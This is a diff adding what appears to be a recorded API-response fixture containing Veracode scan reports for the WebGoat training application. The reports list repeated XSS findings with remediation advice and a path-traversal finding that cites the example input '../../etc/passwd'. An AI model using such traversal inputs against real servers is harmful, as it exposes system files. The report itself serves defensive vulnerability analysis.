+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"76\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"45\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"127\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"77\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"44\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"100\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"78\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"48\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"50\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"78\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"48\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"264\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"79\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"46\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"68\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"80\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"50\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"129\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable thisPage.
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameternames,
+        and javax.servlet.servletrequest.getparameter. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"143\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"89\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n</staticflaws>\n</cwe>\n</category>\n</severity>\n<flaw-status
+        new=\"190\" reopen=\"0\" open=\"0\" fixed=\"0\" total=\"190\" not_mitigated=\"190\"
+        sev-1-change=\"0\" sev-2-change=\"14\" sev-3-change=\"31\" sev-4-change=\"22\"
+        sev-5-change=\"6\"/>\n</detailedreport>\n"
+    http_version: 
+  recorded_at: Tue, 27 Oct 2015 12:06:40 GMT
+- request:
+    method: get
+    uri: https://analysiscenter.veracode.com/api/3.0/detailedreport.do?build_id=44905
+    body:
+      encoding: US-ASCII
+      string: ''
+    headers:
+      Accept-Encoding:
+      - gzip;q=1.0,deflate;q=0.6,identity;q=0.3
+      Accept:
+      - "*/*"
+      User-Agent:
+      - Ruby
+  response:
+    status:
+      code: 200
+      message: OK
+    headers:
+      Cache-Control:
+      - no-store private must-revalidate
+      Expires:
+      - Thu, 01 Jan 1970 00:00:00 GMT
+      Pragma:
+      - ''
+      Content-Type:
+      - text/xml
+      Content-Length:
+      - '200076'
+      Date:
+      - Tue, 27 Oct 2015 12:07:54 GMT
+      Server:
+      - Apache
+    body:
+      encoding: UTF-8
+      string: "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<detailedreport xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"
+        xmlns=\"https://www.veracode.com/schema/reports/export/1.0\" xsi:schemaLocation=\"https://www.veracode.com/schema/reports/export/1.0
+        https://analysiscenter.veracode.com/resource/detailedreport.xsd\" report_format_version=\"1.5\"
+        app_name=\"WebGoat\" app_id=\"32338\" first_build_submitted_date=\"2012-02-29
+        16:17:16 UTC\" version=\"5.0\" build_id=\"44905\" submitter=\"Veracode\" platform=\"Java\"
+        assurance_level=\"5\" business_criticality=\"5\" generation_date=\"2015-10-27
+        12:07:54 UTC\" veracode_level=\"VL1\" total_flaws=\"190\" flaws_not_mitigated=\"190\"
+        teams=\"\" life_cycle_stage=\"External or Beta Testing\" planned_deployment_date=\"\"
+        last_update_time=\"2012-03-01 15:03:51 UTC\" is_latest_build=\"true\" policy_name=\"Demo
+        Policy\" policy_version=\"3\" policy_compliance_status=\"Did Not Pass\" policy_rules_status=\"Did
+        Not Pass\" grace_period_expired=\"true\" scan_overdue=\"true\" business_owner=\"\"
+        business_unit=\"Not Specified\" tags=\"\" legacy_scan_engine=\"false\">\n<static-analysis
+        rating=\"D\" score=\"69\" submitted_date=\"2012-02-29 16:16:57 UTC\" published_date=\"2012-03-01
+        14:26:18 UTC\" next_scan_due=\"2012-04-01 13:26:18 UTC\" analysis_size_bytes=\"3734905\">\n<modules>\n<module
+        name=\"WebGoat-5.0-with-jsp.war\" compiler=\"JAVAC_6\" os=\"Java J2SE 6\"
+        architecture=\"JVM\" loc=\"142966\" score=\"69\" numflawssev0=\"117\" numflawssev1=\"0\"
+        numflawssev2=\"14\" numflawssev3=\"19\" numflawssev4=\"21\" numflawssev5=\"2\"/>\n</modules>\n</static-analysis>\n<dynamic-analysis
+        rating=\"D\" score=\"89\" submitted_date=\"2012-03-01 14:58:22 UTC\" published_date=\"2012-03-01
+        15:03:50 UTC\" dynamic_scan_type=\"ds\" scan_exit_status_id=\"0\" scan_exit_status_desc=\"N/A\">\n<modules>\n<module
+        name=\"dynamic_analysis\" compiler=\"Unknown\" os=\"\" architecture=\"\" loc=\"0\"
+        score=\"89\" numflawssev0=\"0\" numflawssev1=\"0\" numflawssev2=\"0\" numflawssev3=\"10\"
+        numflawssev4=\"1\" numflawssev5=\"1\" target_url=\"http://10.10.31.202:8080/webgoat\"
+        domain=\"\"/>\n</modules>\n</dynamic-analysis>\n<manual-analysis rating=\"D\"
+        score=\"81\" submitted_date=\"2012-03-01 14:59:07 UTC\" published_date=\"2012-03-01
+        14:59:14 UTC\" next_scan_due=\"2013-03-01 14:59:14 UTC\">\n<cia_adjustment>0</cia_adjustment>\n<modules>\n<module
+        name=\"manual_analysis\" compiler=\"Unknown\" os=\"\" architecture=\"\" loc=\"0\"
+        score=\"81\" numflawssev0=\"0\" numflawssev1=\"0\" numflawssev2=\"0\" numflawssev3=\"2\"
+        numflawssev4=\"0\" numflawssev5=\"3\"/>\n</modules>\n</manual-analysis>\n<severity
+        level=\"5\">\n<category categoryid=\"1\" categoryname=\"Directory Traversal\"
+        pcirelated=\"false\">\n<desc>\n<para text=\"Allowing user input to control
+        paths used in filesystem operations may enable an attacker to access or modify
+        otherwise protected system resources that would normally be inaccessible to
+        end users.  In some cases, the user-provided input may be passed directly
+        to the filesystem operation, or it may be concatenated to one or more fixed
+        strings to construct a fully-qualified path.\"/>\n<para text=\"When an application
+        improperly cleanses special character sequences in user-supplied filenames,
+        a path traversal (or directory traversal) vulnerability may occur.  For example,
+        an attacker could specify a filename such as &quot;../../etc/passwd&quot;,
+        which resolves to a file outside of the intended directory that the attacker
+        would not normally be authorized to view.\"/>\n</desc>\n<recommendations>\n<para
+        text=\"Assume all user-supplied input is malicious.  Validate all user-supplied
+        input to ensure that it conforms to the expected format, using centralized
+        data validation routines when possible.  When using black lists, be sure that
+        the sanitizing routine performs a sufficient number of iterations to remove
+        all instances of disallowed characters and ensure that the end result is not
+        dangerous.\"/>\n</recommendations>\n<cwe cweid=\"22\" cwename=\"Improper Limitation
+        of a Pathname to a Restricted Directory ('Path Traversal')\" pcirelated=\"false\"
+        owasp=\"932\" sans=\"865\" certc=\"743\" certcpp=\"877\">\n<description>\n<text
+        text=\"The software, when constructing file or directory names from input,
+        does not properly sanitize special character sequences that resolve to a file
+        or directory name that is outside of the intended directory or directories.\"/>\n</description>\n<manualflaws>\n<flaw
+        severity=\"5\" categoryname=\"Improper Limitation of a Pathname to a Restricted
+        Directory ('Path Traversal')\" count=\"1\" issueid=\"272\" module=\"manual_analysis\"
+        type=\"\" description=\"The software, when constructing file or directory
+        names from input, does not properly sanitize special character sequences that
+        resolve to a file or directory name that is outside of the intended directory
+        or directories.\" note=\"\" cweid=\"22\" remediationeffort=\"2\" exploitLevel=\"2\"
+        categoryid=\"1\" pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33
+        UTC\" remediation_status=\"New\" cia_impact=\"ppn\" grace_period_expires=\"2012-03-01
+        14:59:14 UTC\" affects_policy_compliance=\"true\" mitigation_status=\"none\"
+        mitigation_status_desc=\"Not Mitigated\" location=\"http://targethost/WebGoat/attack?Screen=306871788&amp;menu=200\"
+        cvss=\"9\" capecid=\"6\" exploitdifficulty=\"1\" inputvector=\"File\">\n<exploit_desc>An
+        attacker can use this to retrieve the contents of arbitrary files on the server.
+        This leads to a full compromise of the application running within the context
+        of the server.</exploit_desc>\n<severity_desc>An attacker can retrieve server
+        state information that allows a compromise of the security boundaries of the
+        application.</severity_desc>\n<remediation_desc>When the set of acceptable
+        objects, such as filenames or URLs, is limited or known, create a mapping
+        from a set of fixed input values (such as numeric IDs) to the actual filenames
+        or URLs, and reject all other inputs.</remediation_desc>\n<appendix>\n<description>undefined</description>\n<screenshot
+        format=\"PNG\">\n<data>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